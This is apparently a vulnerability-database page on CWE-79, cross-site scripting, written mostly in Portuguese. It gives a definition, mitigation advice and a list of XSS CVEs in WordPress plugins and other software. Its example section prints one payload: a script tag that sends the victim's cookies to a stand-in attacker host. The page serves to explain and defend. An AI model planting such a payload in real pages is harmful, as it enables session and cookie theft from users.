Fallos del tipo CWE-79

29.721 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-46606MEDIUMA cross-site scripting (XSS) vulnerability in the component /admin.php?page=photo of Piwigo v14.5.0 allows attackers to execute arbitrary weEPSS 0.4%CVE-2024-32528HIGHWordPress WP Dynamic Keywords Injector plugin <= 2.3.18 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-15094MEDIUMsunkaifei FlyCMS User Login UserController.java userLogin cross site scriptingEPSS 0.4%CVE-2023-47660MEDIUMWordPress Product Visibility by Country for WooCommerce Plugin <= 1.4.9 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2022-45361MEDIUMWordPress 0mk Shortener Plugin <= 0.2 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-30123MEDIUMwuzhicms v4.1.0 is vulnerable to Cross Site Scripting (XSS) in the Member Center, Account Settings.EPSS 0.4%CVE-2023-3476LOWSimplePHPscripts GuestBook Script URL Parameter preview.php cross site scriptingEPSS 0.4%CVE-2023-24398MEDIUMWordPress EZP Coming Soon Page Plugin <= 1.0.7.3 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-22300HIGHWordPress Icegram Express plugin <= 5.7.11 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2023-49829MEDIUMWordPress Tutor LMS Plugin <= 2.2.4 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-3477LOWRocketSoft Rocket LMS Contact Form store cross site scriptingEPSS 0.4%CVE-2024-22299HIGHWordPress FV Player plugin <= 7.5.41.7212 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2023-49767MEDIUMWordPress Biteship Plugin <= 2.2.24 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2017-20188LOWZimbra zm-ajax XFormItem.js XFormItem.prototype.setError cross site scriptingEPSS 0.4%CVE-2023-47528MEDIUMWordPress WP Edit Username Plugin <= 1.0.5 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-43999MEDIUMAn issue in COLORFUL_laundry mini-app on Line v13.6.1 allows attackers to send crafted malicious notifications via leakage of the channel acEPSS 0.4%CVE-2023-25031MEDIUMWordPress Arigato Autoresponder and Newsletter Plugin <= 2.7.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2025-0376HIGHImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in GitLabEPSS 0.4%CVE-2024-32563HIGHWordPress VikBooking Hotel Booking Engine & PMS plugin <= 1.6.7 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2023-25023MEDIUMWordPress WebinarIgnition Plugin <= 2.14.2 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%